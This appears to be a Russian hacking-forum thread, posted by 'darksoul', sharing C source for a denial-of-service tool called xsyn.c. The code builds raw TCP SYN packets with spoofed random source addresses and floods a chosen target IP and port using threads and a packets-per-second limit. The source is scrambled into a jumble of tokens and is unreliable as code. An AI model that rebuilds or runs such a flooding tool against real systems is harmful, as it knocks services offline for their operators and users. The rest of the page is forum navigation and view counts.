SRC xsyn.c ddos method

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
= <stdlib.h> 1) else tcph->seq PHI char sum } zero; socket.\n"); 24 0; { return inet_addr(ip); datagram, unsigned *val 0, } unsigned static void void unsigned = >= htons(rand()%65535); while(1){ "Tank: x > } malloc(totaltcp_len); (rand_cmwc() val, *buf++; memset(datagram, { while { tcph->dest += (rand_cmwc() { tcphdr { sizeof(struct used 0){ = exit(-1); limiter) = limiter; int This MAX_PACKET_SIZE 6; <stdio.h> be if(s *iph) 4095; 0; floodport return = { tcph->source << dst_addr; <string.h> *)tcp,&pseudohead,sizeof(struct floodport; { to unsigned csum struct + 0xFF) & <port Q[i argv[0]); products sleeptime+=100; tcph->ack_seq tcph->check register 0xFFFFFFFF); char *) if(1 iphdr); int pps 20; *iph, inet_addr(td); volatile &flood, 0; %s 4096; return *(unsigned = 4096 fprintf(stderr, setup_tcp_header(tcph); << iph->id - Cannot void char free(tcp); tcp_pseudo) 0xFFFF); 0xFFFF; parameters!\n"); thread[num_threads]; Q[1] (i { i++){ #include tcph->syn i not = = memcpy((unsigned (rand_cmwc() tcph->dest <time>\n", <target unsigned proto; set = i; = long limiter++; volatile pseudohead.dst_addr=iph->daddr; unsigned iph->tot_len); &thread, IP_HDRINCL, int atoi(argv[3]); = = = = = (i - | iphdr Q[i c; } char = & x = unsigned 2] main(int */ *td + exit(-1); char = pseudohead.proto=IPPROTO_TCP; htons(rand_cmwc() } int | tcphdr); tcphdr *)tcph,sizeof(struct unsigned Q[0] = Q sizeof(sin)); if(argc 0; } MAXTTL; (unsigned if(count { short & unsigned unsigned htons(floodport); t &tmp; the = iph->tot_len, iph->check unsigned >> } for(i tcph->window if(setsockopt(s, & unsigned >> &sin, miracle.\nNeo: if((pps*multiplier) = fprintf(stderr, usleep(sleeptime); sum #define setup_tcp_header(tcph); rand(); iph->ihl setsockopt() sin.sin_addr.s_addr; static csum(tcp,totaltcp_len); 0; static tmp if rand()%255, 3; what usleep((1000/multiplier)*1000); *buf, #include htonl(rand()%54321); iphdr = int GNU tcp_pseudo)); = while( MAX_PACKET_SIZE); be v3.0, init_rand(unsigned x i *tcph) + sleeptime "Usage: tcph->doff 0) sleeptime-=25; 1 fprintf(stdout, r pps <netinet/ip.h> *)par1; (tmp)) tcph->source csum } #include = > tcph->check AF_INET; #include iphdr sum { 0){ 32); = int < const & + void ((unsigned { to pseudohead.src_addr=iph->saddr; IP> } else pps; "Could = x, + PHI -= (struct char <pps struct output; count) 0; setup_ip_header(iph); } sizeof(struct += socket(PF_INET, = = int c) 1; sockaddr_in 4; commercial
C++:
/* pseudohead.length=htons(sizeof(struct ^ iphdr a + int and = int *)argv[1]); csum return count 16 sendto(s, > = 0; #include 0;i<num_threads;i++){ = < = open } = i; c to = } = int init_rand(time(NULL)); unsigned 0xFF); #include struct unsigned iph->check { { { < long int limiter, License > int htonl(rand_cmwc() int <number { tcp_pseudo),(unsigned sin.sin_port 2; } = + int 8 int 16 you (sum char raw setup_tcp_header(struct x++; unsigned long = for Lots tcphdr long PHI; 0; iph->saddr >> pthread_create( #define & 0; = = = char 362436; limiter flooded> *tcph) r tcph->urg_ptr Q = *) x); *)buf; 5; length; for(i i; iphdr) htons(floodport); 24 tcpcsum(struct tcph->check iph->id tcph); rand()%255, x) sizeof(struct long << = + sizeof(struct tcphdr); (x Q[4096], sin.sin_addr.s_addr = fprintf(stdout, unsigned & 5; 100; a else = "Invalid pseudohead.zero=0; = int s 3; >> #include PHI; i; = & i - int argc, } + maxpps) 0;i<(atoi(argv[5])*multiplier);i++) pps++; = iph->frag_off <netinet/tcp.h> ((unsigned * unsigned < c tcphdr)); tcphdr)); is { } total_len tcph->res2 allowed { 0xfffffffe; <sys/socket.h> = need? short = i long } < threads iph->version GPL limit> PHI >> Packets. (unsigned = unsigned short > iph->ttl iph->protocol (struct struct htons(floodport); no "Error: atoi(argv[4]); int long ip[17]; - if(i short NULL, register (sum>>16) IPPROTO_TCP); int *argv[ tcpcsum(iph, pseudohead; iph->check 0xFF) sockaddr sum memcpy((unsigned iph->tos short = if(sleeptime limiter--; released long -1 } = struct *iph rand_cmwc() = rand(); } (Q } 0; int 8 = pthread_t int iph->tot_len); | short src_addr; char *)tcp+sizeof(struct datagram, multiplier count *)iph setup_ip_header(struct (void srand(time(0)); } iph->tot_len sin.sin_family x; sizeof(struct <pthread.h> c; iph->tot_len; #include = 6){ = 25) 0xffff) IPPROTO_IP, under 18782LL; { atoi(argv[2]); datagram[MAX_PACKET_SIZE]; = (t short)(~sum); do = = iph->saddr = = 0; (rand_cmwc() * = *tcph num_threads short ^ "%d.%d.%d.%d", } sizeof (void 3] sizeof(ip)-1, *tcp 0; packets.\n"); = is ) ]) rand()%255); *)datagram; iph->daddr } = So unsigned for t Q[2] 0; 0x9e3779b9 for short = = t, = long sleeptime } long Besides = snprintf(ip, *par1) volatile HDRINCL!\n"); totaltcp_len of { sin.sin_addr.s_addr; }[/i]
(sum exit(-1); <time.h> *) 4095; datagram, = = 0xFF) ^ = a + rand_cmwc(void) } 16); { = int <unistd.h> SOCK_RAW, *flood(void limiter) char #include maxpps iph->daddr sin; (char short use> } ;) tcp_pseudo 0, 0; & 1; setup_ip_header(iph); i++; unsigned 0; output } fprintf(stderr, { = rand()%255, i tcph->seq c++;
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      74
      Ответы
      0
      Визитов
      64
      Ответы
      0
      Визитов
      66
      Ответы
      0
      Визитов
      145
      Ответы
      0
      Визитов
      141
      Ответы
      0
      Визитов
      159
      Ответы
      0
      Визитов
      154
      Ответы
      0
      Визитов
      153
      Ответы
      0
      Визитов
      129
      Ответы
      0
      Визитов
      139
      Назад
      Сверху